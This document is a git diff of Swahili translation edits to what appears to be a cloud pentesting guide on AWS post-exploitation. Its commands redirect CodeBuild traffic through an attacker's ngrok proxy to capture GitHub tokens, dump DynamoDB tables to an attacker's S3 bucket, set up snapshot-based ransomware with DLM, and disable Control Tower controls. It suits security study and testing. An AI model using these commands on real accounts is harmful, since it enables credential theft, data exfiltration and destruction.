hiki**](https://github.com/hotnops/AWSRoleJuggler/) kudumisha mchakato wa kugandamiza majukumu: ```bash ./aws_role_juggler.py -h usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]] @@ -40,7 +40,7 @@ optional arguments: -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] ``` > [!CAUTION] -> Kumbuka kwamba skripti ya [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) kutoka kwenye hifadhi hiyo ya Github haipati njia zote ambazo mnyororo wa jukumu unaweza kuundwa. +> Kumbuka kwamba script ya [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) kutoka kwenye hifadhi hiyo ya Github haipati njia zote ambazo mnyororo wa jukumu unaweza kuundwa.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md index a63b28b33..941a860e3 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md @@ -1 +1 @@ -# AWS - Baada ya Kutumia +# AWS - Post Exploitation diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md index c9a1e15a3..7c1a2394e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md @@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia: ### Upataji wa APIs zisizo wazi -Unaweza kuunda kiunganishi katika [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) na huduma `com.amazonaws.us-east-1.execute-api`, funua kiunganishi katika mtandao ambapo una ufikiaji (labda kupitia mashine ya EC2) na piga kundi la usalama linaloruhusu mawasiliano yote.\ +Unaweza kuunda kiunganishi katika [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) na huduma `com.amazonaws.us-east-1.execute-api`, fungua kiunganishi katika mtandao ambapo una ufikiaji (labda kupitia mashine ya EC2) na piga kundi la usalama linaloruhusu mawasiliano yote.\ Kisha, kutoka kwa mashine ya EC2 utaweza kufikia kiunganishi na hivyo kuita API ya gateway ambayo haikuwa wazi hapo awali. ### Kupita kupitia mwili wa Ombi @@ -21,7 +21,7 @@ Teknolojia hii ilipatikana katika [**hii CTF writeup**](https://blog-tyage-net.t Kama ilivyoonyeshwa katika [**nyaraka za AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) katika sehemu ya `PassthroughBehavior`, kwa default, thamani **`WHEN_NO_MATCH`**, wakati wa kuangalia kichwa cha **Content-Type** cha ombi, itapitisha ombi kwa nyuma bila mabadiliko. -Hivyo, katika CTF, API Gateway ilikuwa na kiolezo cha uunganisho ambacho kilikuwa **kikizuia bendera kutolewa** katika jibu wakati ombi lilitumwa na `Content-Type: application/json`: +Hivyo, katika CTF gateway ya API ilikuwa na kigezo cha uunganisho ambacho kilikuwa **kikizuia bendera kutolewa** katika jibu wakati ombi lilitumwa na `Content-Type: application/json`: ```yaml RequestTemplates: application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' @@ -36,11 +36,11 @@ curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers Katika sehemu ya **Enumeration** unaweza kuona jinsi ya **kupata mpango wa matumizi** wa funguo. Ikiwa una funguo na ime **punguzia** matumizi X **kwa mwezi**, unaweza **kuitumia tu na kusababisha DoS**. -**API Key** inahitaji tu **kujumuishwa** ndani ya **HTTP header** inayoitwa **`x-api-key`**. +Funguo ya **API** inahitaji tu **kujumuishwa** ndani ya **HTTP header** inayoitwa **`x-api-key`**. ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` -Mshambuliaji mwenye ruhusa `apigateway:UpdateGatewayResponse` na `apigateway:CreateDeployment` anaweza **kubadilisha Jibu la Gateway lililopo ili kujumuisha vichwa vya habari vya kawaida au templeti za majibu ambazo zinavuja taarifa nyeti au kutekeleza scripts za uhalifu**. +Mshambuliaji mwenye ruhusa `apigateway:UpdateGatewayResponse` na `apigateway:CreateDeployment` anaweza **kubadilisha Jibu la Gateway lililopo ili kujumuisha vichwa vya habari vya kawaida au templeti za majibu ambazo zinavuja taarifa nyeti au kutekeleza skripti za uhalifu**. ```bash API_ID="your-api-id" RESPONSE_TYPE="DEFAULT_4XX" @@ -51,7 +51,7 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Madhara Yanayoweza Kutokea**: Kuvuja kwa taarifa nyeti, kutekeleza skripti zenye uharibifu, au ufikiaji usioidhinishwa wa rasilimali za API. +**Madhara Yanayoweza Kutokea**: Kuvuja kwa taarifa nyeti, kutekeleza skripti za uhalifu, au ufikiaji usioidhinishwa wa rasilimali za API. > [!NOTE] > Inahitaji kupimwa @@ -69,7 +69,7 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa data iliyohifadhiwa, kuingilia au kuzuia trafiki ya API. +**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa data iliyohifadhiwa, kuingilia au kuingilia kati trafiki ya API. > [!NOTE] > Inahitaji kupimwa @@ -89,14 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Madhara Yanayoweza Kutokea**: Kuvuja kwa taarifa nyeti, kutekeleza skripti zenye uharibifu, au ufikiaji usioidhinishwa wa rasilimali za API. +**Madhara Yanayoweza Kutokea**: Kuvuja kwa taarifa nyeti, kutekeleza scripts za uhalifu, au ufikiaji usioidhinishwa wa rasilimali za API. > [!NOTE] > Inahitaji kupimwa ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` -Mshambuliaji mwenye ruhusa `apigateway:UpdateRestApi` na `apigateway:CreateDeployment` anaweza **kubadilisha mipangilio ya API Gateway REST API ili kuzima uandishi wa kumbukumbu au kubadilisha toleo la chini la TLS, ambayo inaweza kudhoofisha usalama wa API**. +Mshambuliaji mwenye ruhusa `apigateway:UpdateRestApi` na `apigateway:CreateDeployment` anaweza **kubadilisha mipangilio ya API Gateway REST API ili kuzima logging au kubadilisha toleo la chini la TLS, ambayo inaweza kudhoofisha usalama wa API**. ```bash API_ID="your-api-id" @@ -124,7 +124,7 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp # Associate the API key with the usage plan aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY ``` -**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa rasilimali za API, kupita kwenye udhibiti wa usalama. +**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa rasilimali za API, kupita mipango ya usalama. > [!NOTE] > Inahitaji kupimwa diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md index a0535b447..04af83962 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md @@ -12,33 +12,33 @@ Kwa maelezo zaidi, angalia: ### Angalia Siri -Ikiwa akidi zimewekwa katika Codebuild kuungana na Github, Gitlab au Bitbucket kwa njia ya alama za kibinafsi, nywila au ufikiaji wa alama za OAuth, hizi **akidi zitawekwa kama siri katika meneja wa siri**.\ +Ikiwa akreditivu zimewekwa katika Codebuild kuungana na Github, Gitlab au Bitbucket kwa njia ya alama za kibinafsi, nywila au ufikiaji wa alama za OAuth, hizi **akreditivu zitawekwa kama siri katika meneja wa siri**.\ Hivyo, ikiwa una ufikiaji wa kusoma meneja wa siri utaweza kupata hizi siri na kuhamasisha kwenye jukwaa lililounganishwa. {{#ref}} ../../aws-privilege-escalation/aws-secrets-manager-privesc.md {{#endref}} -### Tumia Upatikanaji wa Repo ya CodeBuild +### Tumia Upatikanaji wa Repo wa CodeBuild -Ili kuunda **CodeBuild**, itahitaji **ufikiaji wa repo ya msimbo** ambayo itakuwa ikitumia. Jukwaa kadhaa zinaweza kuwa zinahifadhi msimbo huu: +Ili kuunda **CodeBuild**, itahitaji **ufikiaji wa repo ya msimbo** ambayo itakuwa ikitumia. Jukwaa kadhaa zinaweza kuwa na msimbo huu:
-Mradi wa **CodeBuild lazima uwe na ufikiaji** wa mtoa huduma wa chanzo ulioanzishwa, ama kupitia **IAM role** au kwa kutumia **token ya github/bitbucket au ufikiaji wa OAuth**. +**Mradi wa CodeBuild lazima uwe na ufikiaji** wa mtoa huduma wa chanzo ulioanzishwa, ama kupitia **IAM role** au kwa kutumia **token ya github/bitbucket au ufikiaji wa OAuth**. -Mshambuliaji mwenye **idhini za juu katika CodeBuild** anaweza kutumia ufikiaji huu ulioanzishwa kuvuja msimbo wa repo iliyoanzishwa na zingine ambapo akidi zilizowekwa zina ufikiaji.\ -Ili kufanya hivyo, mshambuliaji atahitaji tu **kubadilisha URL ya hifadhi kwa kila repo ambayo akidi za usanidi zina ufikiaji** (kumbuka kwamba wavuti ya aws itataja zote kwako): +Mshambuliaji mwenye **idhini za juu katika CodeBuild** anaweza kutumia ufikiaji huu ulioanzishwa kuvuja msimbo wa repo iliyoanzishwa na zingine ambapo akreditivu zilizowekwa zina ufikiaji.\ +Ili kufanya hivyo, mshambuliaji atahitaji tu **kubadilisha URL ya hifadhi kwa kila repo ambayo akreditivu za usanidi zina ufikiaji** (kumbuka kwamba wavuti ya aws itataja zote kwako):
Na **kubadilisha amri za Buildspec ili kuhamasisha kila repo**. > [!WARNING] -> Hata hivyo, hii **kazi ni ya kurudiwa na inachosha** na ikiwa token ya github ilipangwa na **idhini za kuandika**, mshambuliaji **hataweza (ku) kutumia hizo idhini** kwani hana ufikiaji wa token hiyo.\ -> Au ana? Angalia sehemu inayofuata +> Hata hivyo, hii **kazi ni ya kurudiwa na inachosha** na ikiwa token ya github ilipangwa na **idhini za kuandika**, mshambuliaji **hataweza (ku) kutumia hizo idhini** kwani hana ufikiaji wa token.\ +> Au je, ana? Angalia sehemu inayofuata -### Kuvaa Alama za Ufikiaji kutoka AWS CodeBuild +### Kuleta Alama za Ufikiaji kutoka AWS CodeBuild Unaweza kuvuja ufikiaji uliopewa katika CodeBuild kwa jukwaa kama Github. Angalia ikiwa ufikiaji wowote kwa jukwaa za nje ulitolewa kwa: ```bash @@ -58,7 +58,7 @@ aws codebuild delete-project --name ### `codebuild:TagResource` , `codebuild:UntagResource` -Mshambuliaji anaweza kuongeza, kubadilisha, au kuondoa lebo kutoka kwa rasilimali za CodeBuild, akisababisha usumbufu katika ugawaji wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo. +Mshambuliaji anaweza kuongeza, kubadilisha, au kuondoa lebo kutoka kwa rasilimali za CodeBuild, akisababisha usumbufu katika mgawanyo wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo. ```bash aws codebuild tag-resource --resource-arn --tags aws codebuild untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index 37e283bc5..56ef9291d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -4,26 +4,26 @@ ## Recover Github/Bitbucket Configured Tokens -Kwanza, angalia kama kuna akauti za chanzo zilizowekwa ambazo unaweza kuvuja: +Kwanza, angalia kama kuna akiba za chanzo zilizowekwa ambazo unaweza kuvuja: ```bash aws codebuild list-source-credentials ``` -### Via Docker Image +### Kupitia Picha ya Docker -Ikiwa unapata kuwa uthibitisho kwa mfano Github umewekwa katika akaunti, unaweza **kuondoa** hiyo **ufikiaji** (**GH token au OAuth token**) kwa kufanya Codebuild **itumie picha maalum ya docker** kuendesha ujenzi wa mradi. +Ikiwa unapata kwamba uthibitisho kwa mfano Github umewekwa katika akaunti, unaweza **kuondoa** hiyo **ufikiaji** (**GH token au OAuth token**) kwa kufanya Codebuild **itumie picha maalum ya docker** kuendesha ujenzi wa mradi. Kwa kusudi hili unaweza **kuunda mradi mpya wa Codebuild** au kubadilisha **mazingira** ya moja iliyopo ili kuweka **picha ya Docker**. -Picha ya Docker unayoweza kutumia ni [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Hii ni picha ya Docker ya msingi sana ambayo itaweka **env variables `https_proxy`**, **`http_proxy`** na **`SSL_CERT_FILE`**. Hii itakuruhusu kukamata sehemu kubwa ya trafiki ya mwenyeji iliyoonyeshwa katika **`https_proxy`** na **`http_proxy`** na kuamini SSL CERT iliyoonyeshwa katika **`SSL_CERT_FILE`**. +Picha ya Docker unayoweza kutumia ni [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Hii ni picha ya Docker ya msingi sana ambayo itaweka **mabadiliko ya env `https_proxy`**, **`http_proxy`** na **`SSL_CERT_FILE`**. Hii itakuruhusu kukamata sehemu kubwa ya trafiki ya mwenyeji iliyoonyeshwa katika **`https_proxy`** na **`http_proxy`** na kuamini SSL CERT iliyoonyeshwa katika **`SSL_CERT_FILE`**. 1. **Unda & Pakia picha yako ya Docker MitM** - Fuata maelekezo ya repo kuweka anwani yako ya IP ya proxy na kuweka cheti chako cha SSL na **ujenge picha ya docker**. - **USIWEKE `http_proxy`** ili usikamate maombi kwa kiungo cha metadata. -- Unaweza kutumia **`ngrok`** kama `ngrok tcp 4444` kuweka proxy kwa mwenyeji wako. -- Mara tu unapokuwa na picha ya Docker iliyojengwa, **paki kwenye repo ya umma** (Dockerhub, ECR...) +- Unaweza kutumia **`ngrok`** kama `ngrok tcp 4444` kuweka proxy kwa mwenyeji wako +- Mara tu unapokuwa na picha ya Docker iliyojengwa, **pakia kwenye repo ya umma** (Dockerhub, ECR...) 2. **Weka mazingira** - Unda **mradi mpya wa Codebuild** au **badilisha** mazingira ya moja iliyopo. -- Weka mradi kutumia **picha ya Docker iliyozalishwa awali** +- Weka mradi kutumia **picha ya Docker iliyozalishwa hapo awali**
@@ -34,7 +34,7 @@ Picha ya Docker unayoweza kutumia ni [https://github.com/carlospolop/docker-mitm mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] -> The **mitmproxy version used was 9.0.1**, iliripotiwa kwamba na toleo la 10 hii inaweza isifanye kazi. +> Toleo la **mitmproxy lililotumika ni 9.0.1**, iliripotiwa kwamba na toleo la 10 hii huenda isifanye kazi. 4. **Kimbia ujenzi & kamata akreditivu** @@ -42,7 +42,7 @@ mitmproxy --listen-port 4444 --allow-hosts "github.com"
-Hii pia inaweza kufanywa kutoka kwa aws cli na kitu kama +Hii pia inaweza kufanywa kutoka kwa aws cli kwa kitu kama ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json @@ -73,14 +73,14 @@ aws codebuild start-build --project-name my-project2 ``` ### Via insecureSSL -**Codebuild** miradi ina mipangilio inayoitwa **`insecureSsl`** ambayo imefichwa kwenye wavuti unaweza kubadilisha tu kutoka kwa API.\ +**Codebuild** miradi yana mipangilio inayoitwa **`insecureSsl`** ambayo imefichwa kwenye wavuti unaweza kubadilisha tu kutoka kwa API.\ Kuwezesha hili, inaruhusu Codebuild kuungana na hifadhi **bila kuangalia cheti** kinachotolewa na jukwaa. -- Kwanza unahitaji kuorodhesha usanidi wa sasa kwa kutumia kitu kama: +- Kwanza unahitaji kuhesabu usanidi wa sasa kwa kutumia kitu kama: ```bash aws codebuild batch-get-projects --name ``` -- Kisha, kwa taarifa ulizokusanya unaweza kuboresha mipangilio ya mradi **`insecureSsl`** kuwa **`True`**. Ifuatayo ni mfano wa jinsi nilivyoboresha mradi, angalia **`insecureSsl=True`** mwishoni (hii ndiyo kitu pekee unachohitaji kubadilisha kutoka kwenye usanidi ulio kusanya). +- Kisha, kwa kutumia taarifa ulizokusanya unaweza kuboresha mipangilio ya mradi **`insecureSsl`** kuwa **`True`**. Ifuatayo ni mfano wa jinsi nilivyoboresha mradi, angalia **`insecureSsl=True`** mwishoni (hii ndiyo kitu pekee unachohitaji kubadilisha kutoka kwenye usanidi ulio kusanya). - Zaidi ya hayo, ongeza pia mabadiliko ya mazingira **http_proxy** na **https_proxy** yanayoelekeza kwenye tcp ngrok yako kama: ```bash aws codebuild update-project --name \ @@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Hatimaye, bonyeza **Jenga mradi**, **vithibitisho** vitatumwa kwa **maandishi wazi** (base64) kwenye bandari ya mitm: +- Hatimaye, bonyeza **Build the project**, **credentials** zitatumwa kwa **clear text** (base64) kwenye bandari ya mitm:
-### ~~Kupitia itifaki ya HTTP~~ +### ~~Kupitia protokali ya HTTP~~ -> [!TIP] > **Ukatili huu ulirekebishwa na AWS wakati fulani katika wiki ya 20 ya Februari ya 2023 (nadhani Ijumaa). Hivyo, mshambuliaji hawezi kuutumia tena :)** +> [!TIP] > **Ukatili huu ulirekebishwa na AWS wakati fulani katika wiki ya 20 ya Februari ya 2023 (nadhani Ijumaa). Hivyo mshambuliaji hawezi kuutumia tena :)** -Mshambuliaji mwenye **idhini za juu katika CodeBuild anaweza kuvuja token ya Github/Bitbucket** iliyowekwa au ikiwa idhini ilipangwa kupitia OAuth, **token ya muda ya OAuth inayotumika kufikia msimbo**. +Mshambuliaji mwenye **permissions za juu katika CodeBuild anaweza kuvuja token ya Github/Bitbucket** iliyowekwa au ikiwa permissions zilipangwa kupitia OAuth, **token ya muda ya OAuth inayotumika kufikia msimbo**. - Mshambuliaji anaweza kuongeza mabadiliko ya mazingira **http_proxy** na **https_proxy** kwenye mradi wa CodeBuild ukielekeza kwenye mashine yake (kwa mfano `http://5.tcp.eu.ngrok.io:14972`). @@ -162,11 +162,11 @@ mitm.run() ```sh aws codebuild start-build --project-name ``` -- Hatimaye, **credentials** zitatumwa kwa **clear text** (base64) kwenye bandari ya mitm: +- Hatimaye, **vithibitisho** vitatumwa kwa **maandishi wazi** (base64) kwenye bandari ya mitm:
> [!WARNING] -> Sasa mshambuliaji ataweza kutumia token kutoka kwa mashine yake, kuorodhesha haki zote alizo nazo na (ku)zitumia kwa urahisi zaidi kuliko kutumia huduma ya CodeBuild moja kwa moja. +> Sasa mshambuliaji ataweza kutumia token kutoka kwa mashine yake, kuorodhesha haki zote alizo nazo na (kuitumia) kwa urahisi zaidi kuliko kutumia huduma ya CodeBuild moja kwa moja. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md index dd9041283..3a363d0f4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md @@ -8,9 +8,9 @@ ../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md {{#endref}} -### Wezesha / Zima Mifumo +### Wezesha / Zima Udhibiti -Ili kuendelea kutumia akaunti, unaweza kuhitaji kuzima/kuwezesha mifumo ya Control Tower: +Ili kuendelea kutumia akaunti, unaweza kuhitaji kuzima/kuwezesha udhibiti wa Control Tower: ```bash aws controltower disable-control --control-identifier --target-identifier aws controltower enable-control --control-identifier --target-identifier diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md index e9b4dfbe4..53c4ceace 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md @@ -6,17 +6,17 @@ ### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` -Shambulio la ransomware linaweza kutekelezwa kwa kuficha kiasi cha EBS volumes kadri iwezekanavyo na kisha kufuta EC2 instances, EBS volumes, na snapshots za sasa. Ili kuendesha shughuli hii mbaya, mtu anaweza kutumia Amazon DLM, akificha snapshots kwa kutumia funguo za KMS kutoka akaunti nyingine ya AWS na kuhamasisha snapshots zilizofichwa kwa akaunti tofauti. Vinginevyo, wanaweza kuhamasisha snapshots bila kuficha kwa akaunti wanayosimamia na kisha kuzificha huko. Ingawa si rahisi kuficha EBS volumes au snapshots zilizopo moja kwa moja, inawezekana kufanya hivyo kwa kuunda volume au snapshot mpya. +Shambulio la ransomware linaweza kutekelezwa kwa kuficha kiasi kikubwa cha EBS volumes na kisha kufuta EC2 instances, EBS volumes, na snapshots za sasa. Ili kuendesha shughuli hii mbaya, mtu anaweza kutumia Amazon DLM, akificha snapshots kwa kutumia KMS key kutoka akaunti nyingine ya AWS na kuhamasisha snapshots zilizofichwa kwa akaunti tofauti. Vinginevyo, wanaweza kuhamasisha snapshots bila kuficha kwa akaunti wanayosimamia na kisha kuzificha huko. Ingawa si rahisi kuficha EBS volumes au snapshots zilizopo moja kwa moja, inawezekana kufanya hivyo kwa kuunda volume au snapshot mpya. -Kwanza, mtu atatumia amri kukusanya taarifa kuhusu volumes, kama vile ID ya instance, ID ya volume, hali ya ufichaji, hali ya kiambatisho, na aina ya volume. +Kwanza, mtu atatumia amri kukusanya taarifa kuhusu volumes, kama vile instance ID, volume ID, hali ya ufichaji, hali ya kiambatisho, na aina ya volume. `aws ec2 describe-volumes` -Pili, mtu ataunda sera ya mzunguko wa maisha. Amri hii inatumia DLM API kuanzisha sera ya mzunguko wa maisha ambayo inachukua snapshots za kila siku za volumes zilizotajwa kwa wakati ulioainishwa. Pia inatumia lebo maalum kwa snapshots na nakala za lebo kutoka kwa volumes hadi snapshots. Faili ya policyDetails.json inajumuisha maelezo ya sera ya mzunguko wa maisha, kama vile lebo za lengo, ratiba, ARN ya funguo ya KMS ya hiari kwa ufichaji, na akaunti ya lengo kwa ajili ya kushiriki snapshots, ambayo itarekodiwa katika kumbukumbu za CloudTrail za mwathirika. +Pili, mtu ataunda sera ya maisha. Amri hii inatumia DLM API kuanzisha sera ya maisha ambayo kiotomatiki inachukua snapshots za kila siku za volumes zilizotajwa kwa wakati maalum. Pia inatumia lebo maalum kwa snapshots na nakala za lebo kutoka kwa volumes hadi snapshots. Faili ya policyDetails.json inajumuisha maelezo ya sera ya maisha, kama vile lebo za lengo, ratiba, ARN ya KMS key ya hiari kwa ajili ya ufichaji, na akaunti ya lengo kwa ajili ya kushiriki snapshots, ambayo itarekodiwa katika kumbukumbu za CloudTrail za mwathirika. ```bash aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json ``` -Template ya hati ya sera inaweza kuonekana hapa: +Kiolezo cha hati ya sera kinaweza kuonekana hapa: ```bash { "PolicyType": "EBS_SNAPSHOT_MANAGEMENT", diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md index 6e66066a8..72b015ec9 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia: ### `dynamodb:BatchGetItem` -Mshambuliaji mwenye ruhusa hii ataweza **kupata vitu kutoka kwa meza kwa ufunguo wa msingi** (huwezi tu kuomba data zote za meza). Hii inamaanisha kuwa unahitaji kujua funguo za msingi (unaweza kupata hii kwa kupata metadata ya meza (`describe-table`). +Mshambuliaji mwenye ruhusa hii ataweza **kupata vitu kutoka kwenye meza kwa ufunguo wa msingi** (huwezi tu kuomba data zote za meza). Hii inamaanisha unahitaji kujua funguo za msingi (unaweza kupata hii kwa kupata metadata ya meza (`describe-table`). {{#tabs }} {{#tab name="json file" }} @@ -47,7 +47,7 @@ aws dynamodb batch-get-item \ ### `dynamodb:GetItem` -**Kama ruhusa za awali** hii inamruhusu mshambuliaji mwenye uwezo kusoma thamani kutoka jedwali 1 tu kwa kutolewa kwa ufunguo wa msingi wa kipengee cha kupata: +**Kama ruhusa za awali** hii inamruhusu mshambuliaji mwenye uwezo kusoma thamani kutoka jedwali moja tu kwa kutolewa kwa ufunguo wa msingi wa kipengee cha kupata: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json @@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json } } ``` -Na ruhusa hii, pia inawezekana kutumia njia ya **`transact-get-items`** kama: +Kwa ruhusa hii inawezekana pia kutumia njia ya **`transact-get-items`** kama: ```json aws dynamodb transact-get-items \ --transact-items file:///tmp/a.json @@ -79,7 +79,7 @@ aws dynamodb transact-get-items \ ### `dynamodb:Query` -**Kama ruhusa za awali** hii inaruhusu mshambuliaji mwenye uwezo kusoma thamani kutoka jedwali 1 tu kwa kutumia ufunguo wa msingi wa kipengee kinachopaswa kupatikana. Inaruhusu kutumia [sehemu ya kulinganisha](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), lakini kulinganisha pekee linaloruhusiwa na ufunguo wa msingi (ambalo lazima lionekane) ni "EQ", hivyo huwezi kutumia kulinganisha kupata DB nzima katika ombi. +**Kama ruhusa za awali** hii inaruhusu mshambuliaji mwenye uwezo kusoma thamani kutoka jedwali 1 tu kwa kutolewa kwa ufunguo wa msingi wa kipengee kinachopaswa kupatikana. Inaruhusu kutumia [seti ndogo ya kulinganisha](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), lakini kulinganisha pekee linaloruhusiwa na ufunguo wa msingi (ambalo lazima lionekane) ni "EQ", hivyo huwezi kutumia kulinganisha kupata DB nzima katika ombi. {{#tabs }} {{#tab name="json file" }} @@ -111,7 +111,7 @@ aws dynamodb query \ ### `dynamodb:Scan` -Unaweza kutumia ruhusa hii **kutoa jedwali zima kwa urahisi**. +Unaweza kutumia ruhusa hii **kudondosha jedwali zima kwa urahisi**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` @@ -119,23 +119,23 @@ aws dynamodb scan --table-name #Get data inside the table ### `dynamodb:PartiQLSelect` -Unaweza kutumia ruhusa hii **kutoa jedwali zima kwa urahisi**. +Unaweza kutumia ruhusa hii **kudondosha jedwali zima kwa urahisi**. ```bash aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" ``` -Hii ruhusa pia inaruhusu kutekeleza `batch-execute-statement` kama: +Ruhusa hii pia inaruhusu kutekeleza `batch-execute-statement` kama: ```bash aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` -lakini unahitaji kubainisha ufunguo wa msingi na thamani, hivyo siyo faida sana. +lakini unahitaji kubainisha ufunguo wa msingi wenye thamani, hivyo siyo faida sana. -**Madhara Yanayoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali +**Athari Zinazoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika jedwali ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -Ruhusa hii itamruhusu mshambuliaji **kutoa jedwali lote kwenye kikasha cha S3** alichokichagua: +Ruhusa hii itamruhusu mshambuliaji **kutoa jedwali zima kwenye S3 bucket** ya uchaguzi wake: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ @@ -144,7 +144,7 @@ aws dynamodb export-table-to-point-in-time \ --export-time \ --region ``` -Kumbuka kwamba ili hii ifanye kazi, jedwali linahitaji kuwa na point-in-time-recovery iliyoanzishwa, unaweza kuangalia kama jedwali lina hiyo kwa: +Kumbuka kwamba ili hii ifanye kazi, jedwali linahitaji kuwa na point-in-time-recovery imewezeshwa, unaweza kuangalia kama jedwali lina hiyo kwa: ```bash aws dynamodb describe-continuous-backups \ --table-name @@ -159,7 +159,7 @@ aws dynamodb update-continuous-backups \ ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` 